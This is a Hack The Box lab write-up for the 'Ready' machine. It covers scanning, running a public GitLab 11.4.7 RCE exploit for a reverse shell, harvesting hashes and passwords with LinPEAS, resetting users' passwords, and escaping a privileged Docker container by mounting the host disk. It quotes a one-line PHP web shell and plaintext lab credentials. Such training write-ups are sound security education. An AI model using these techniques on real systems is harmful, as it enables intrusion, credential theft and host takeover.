Ready [Medium] - Linux
Overview⌗
Ready was a quick and easy box that uses an outdated and vulnerable version of GitLab to allow initial exploitation and shell access to a hosted docker container. From there, root elevation within the container is required so that it’s underlying configration can be abused in order to provide root access to the host machine. Let’s see how I did all that!
NMAP Scan⌗
For reference here’s a full (script/version enumeration) outline of the top 1000 ports on the machine:
Initial Scan:⌗
Nmap scan report for ready.htb (10.10.10.220)
Host is up, received conn-refused (0.024s latency).
Scanned at 2021-03-31 16:05:21 BST for 13s
Not shown: 998 closed ports
Reason: 998 conn-refused
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
5080/tcp open http syn-ack nginx
|_http-favicon: Unknown favicon MD5: F7E3D97F404E71D302B3239EEF48D5F2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 53 disallowed entries (40 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
| /s/ /snippets/new /snippets/*/edit /snippets/*/raw
| /*/*.git /*/*/fork/new /*/*/repository/archive* /*/*/activity
| /*/*/new /*/*/edit /*/*/raw /*/*/blame /*/*/commits/*/*
| /*/*/commit/*.patch /*/*/commit/*.diff /*/*/compare /*/*/branches/new
| /*/*/tags/new /*/*/network /*/*/graphs /*/*/milestones/new
| /*/*/milestones/*/edit /*/*/issues/new /*/*/issues/*/edit
| /*/*/merge_requests/new /*/*/merge_requests/*.patch
|_/*/*/merge_requests/*.diff /*/*/merge_requests/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://ready.htb:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar 31 16:05:34 2021 -- 1 IP address (1 host up) scanned in 13.73 seconds
As well as a full, but simple, port scan for good measure:
Full Scan:⌗
Nmap scan report for ready.htb (10.10.10.220)
Host is up (0.022s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
5080/tcp open onscreen
Initial Enumeration⌗
Following the NMAP scans shown above, we can see that theres 2 ports:
- 22/tcp (ssh)
- 5080/tcp (www)
Initially the most interesting port is 5080– an unusual port to run NGINX on, but it can be looked at none-the-less.
Visting the site and we can see that it’s actually a Gitlab instance. We can sign up and get access, and establish that there is a repository in existence named ready-channel
:
Looking at the contents, it looks like its an incredibly(!) old version of the Drupal CMS - looking at the included CHANGELOG file:
$ head CHANGELOG.txt
Drupal 7.56, 2017-06-21
-----------------------
- Fixed security issues (access bypass). See SA-CORE-2017-003.
Drupal 7.55, 2017-06-07
-----------------------
- Fixed incompatibility with PHP versions 7.0.19 and 7.1.5 due to duplicate
DATE_RFC7231 definition.
- Made Drupal core pass all automated tests on PHP 7.1.
In total, the repository owner has made a total of 4 commits, most of them excessive in terms of the amount of “changes” made. This makes it difficult to parse through changes, at a glance, for anything sensitive.
Looking around the filesystem, there are some interesting things if you look closely. First, a set of potential MySQL creds:
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => '%%cHzhNC=k9yYN!T',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
http://ready.htb:5080/dude/ready-channel/blob/master/sites/default/settings.php
There also appears to be a shell file, showing as 8 months old, located here:
<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
http://ready.htb:5080/dude/ready-channel/blob/master/sites/default/files/shell.php
Some time was spent trying to find a defined base_url
but I wasn’t able to find one outside of default definitions. From there, a version number was enumerated via the sites /help
page - this is also available as a link in the top right hand corner of the page:
GitLab Community Edition 11.4.7
Looking at exploitDB there is indeed a CVE for this version:
$ searchsploit gitlab 11.4.7
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
GitLab 11.4.7 - RCE (Authenticated) (2) | ruby/webapps/49334.py
GitLab 11.4.7 - Remote Code Execution (Authenticated) (1) | ruby/webapps/49257.py
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Grabbing one of these and running it verbatim gives us a shell as the git user (albeit in a Docker container):
$ python3 49334.py -u syskey -p password -g http://ready.htb -l 10.10.14.8 -P 9001 1 ⨯
[+] authenticity_token: VHwOXloRm01plhWdGqA9+DOR2WBpGR+fxfgVtKGvgY6l/GQ+zce4ijRD5ISpJ55L5rE14SQk3WezNZ5jK3hqPg==
[+] Creating project with random name: project266
[+] Running Exploit
[+] Exploit completed successfully!
User Pwn⌗
Once on the box, a quick poke a round was in order but, honestly, familiarity with Gitlab setups (let alone a docker variant) is limited in my own experience so the easiest thing to start with was an enumeration script like LinPEAS.
As it so happens, one of the features for LinPEAS is to enumerate Gitlab files to dump useful information, such as:
{"id"=>2,"email"=>"dude@ready.com","encrypted_password"=>"$2a$10$NOMTXhO31vqykicMa6zj3O.F5PIyI9q/S4c.v22eMSfXNDdtpI2Mm"}
"id"=>3,"email"=>"mitroglou@ready.com","encrypted_password"=>"$2a$10$4vZAglOnEdNEe1SoNj1IE.RfotOt9gPnOXBEihjd7QBhsUmgmAdLi"}
{"id"=>1,"email"=>"admin@example.com","encrypted_password"=>"$2a$10$.Kc4bwq3BqLCEzAGJVIJFeK4emNnucvAqk1vCv4Yp45yy2nmrFa.2"}
{"id"=>4, "email"=>"test@test.gr","encrypted_password"=>"$2a$10$7xK1UPcwvjWIo4ioCz28GeFSt.NR00AHsY2AF.gWzaWwikRVXCTXa"}
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
As expected, attempting to crack the hashes doesn’t yield any results - at least not in a quick amount of time, namely as they’re bcrypt hashes. That said, running as the git user has its benefits because passwords can be reset rather easily if needed:
gitlab-rails runner 'user = User.find_by(email: "dude@ready.com"); user.password = "ReallySecurePassword123!"; user.password_confirmation = "ReallySecurePassword123!"; user.save!'
After resetting passwords for dude, admin and mitroglou with Gitlab and logging in, there’s no additional useful information hidden. A few potential passwords have been garnered though; the SMTP password LinPeas grabbed, above, as well as the MySQL credentials we gathered earlier from poking around GitLab manually.
In this case, a quick manual password spray was in order - initially against the dude
user - the win was much better than that though as using su
with the smtp_password
value gets us root on the container:
git@gitlab:~$ su
Password:
root@gitlab:/var/opt/gitlab#
Now we have root, so lets try and breakout this contianer.
Root Pwn⌗
Once on as the root user, it’s generally favorable to run another enumeration scanner, like LinPEAS, to try and aggregate anything you may miss.
In this case it highlights an uncommon folder, although this isn’t all too difficult to find manually, either.
/opt/backup
:
root@gitlab:/opt/backup# ls -la
total 112
drwxr-xr-x 2 root root 4096 Dec 7 09:25 .
drwxr-xr-x 1 root root 4096 Dec 1 16:23 ..
-rw-r--r-- 1 root root 872 Dec 7 09:25 docker-compose.yml
-rw-r--r-- 1 root root 15092 Dec 1 16:23 gitlab-secrets.json
-rw-r--r-- 1 root root 79639 Dec 1 19:20 gitlab.rb
Inside here there is a docker-compose.yml
file– presumably the one used to create the container we’re in, based on the contents:
version: '2.4'
services:
web:
image: 'gitlab/gitlab-ce:11.4.7-ce.0'
restart: always
hostname: 'gitlab.example.com'
environment:
GITLAB_OMNIBUS_CONFIG: |
external_url 'http://172.19.0.2'
redis['bind']='127.0.0.1'
redis['port']=6379
gitlab_rails['initial_root_password']=File.read('/root_pass')
networks:
gitlab:
ipv4_address: 172.19.0.2
ports:
- '5080:80'
#- '127.0.0.1:5080:80'
#- '127.0.0.1:50443:443'
#- '127.0.0.1:5022:22'
volumes:
- './srv/gitlab/config:/etc/gitlab'
- './srv/gitlab/logs:/var/log/gitlab'
- './srv/gitlab/data:/var/opt/gitlab'
- './root_pass:/root_pass'
privileged: true
restart: unless-stopped
#mem_limit: 1024m
networks:
gitlab:
driver: bridge
ipam:
config:
- subnet: 172.19.0.0/16
This also shows one very interesting, and very vulnerable, thing:
privileged: true
In short, if a docker container is configured with the --privilaged
flag then this means that any protections afforded to the container, by Docker, are lost and a root user can easily access the host file system. Checking the current mount points:
root@gitlab:/opt/backup# df -h
Filesystem Size Used Avail Use% Mounted on
overlay 18G 12G 5.7G 68% /
tmpfs 64M 0 64M 0% /dev
tmpfs 2.0G 0 2.0G 0% /sys/fs/cgroup
/dev/sda2 18G 12G 5.7G 68% /root_pass
shm 64M 2.3M 62M 4% /dev/shm
This shows that /dev/sda2
maps to the /root_pass
file and, as per the docker compose file, this is used for (likely) initial configuration of the container. The important bit is that it shows the block device the file resides on, meaning that it can quite easily be mounted:
root@gitlab:/opt/backup# mkdir /mnt/hdd
root@gitlab:/opt/backup# mount /dev/sda2 /mnt/hdd
root@gitlab:/opt/backup# ls -la /mnt/hdd/root/root.txt
-r-------- 1 root root 33 Jul 8 2020 root.txt
root@gitlab:/opt/backup#
And with that, access to the root filesystem (along with its associated SSH keys) is granted.
Credentials Store⌗
Here are a list of credentials obtained during this exercise:
User | Password | Description |
---|---|---|
root | wW59U!ZKMbG9+*#h | Root password - GitLab Docker container. Obtained via LinPEAS grabbing the smtp_password value from the gitlab_rails config. |
Final Thoughts⌗
If you’re at least semi-experienced, this box will most likely have been a total cinch for you. I know I didn’t really need to do a whole lot of work from start to finish– frankly, it’s one of the easiest boxes in recent memory.
All that said, there’s still a tonne of value in things like this. If you’re seasoned, you just got to ensure you’ve not just casually forgotten basic things. If you’re new to the field, this can easily provide a challenge, especially to those unfamiliar with Docker and its configurations. Let the lesson be: privilaged containers are bad. Until next time!
-5ysk3y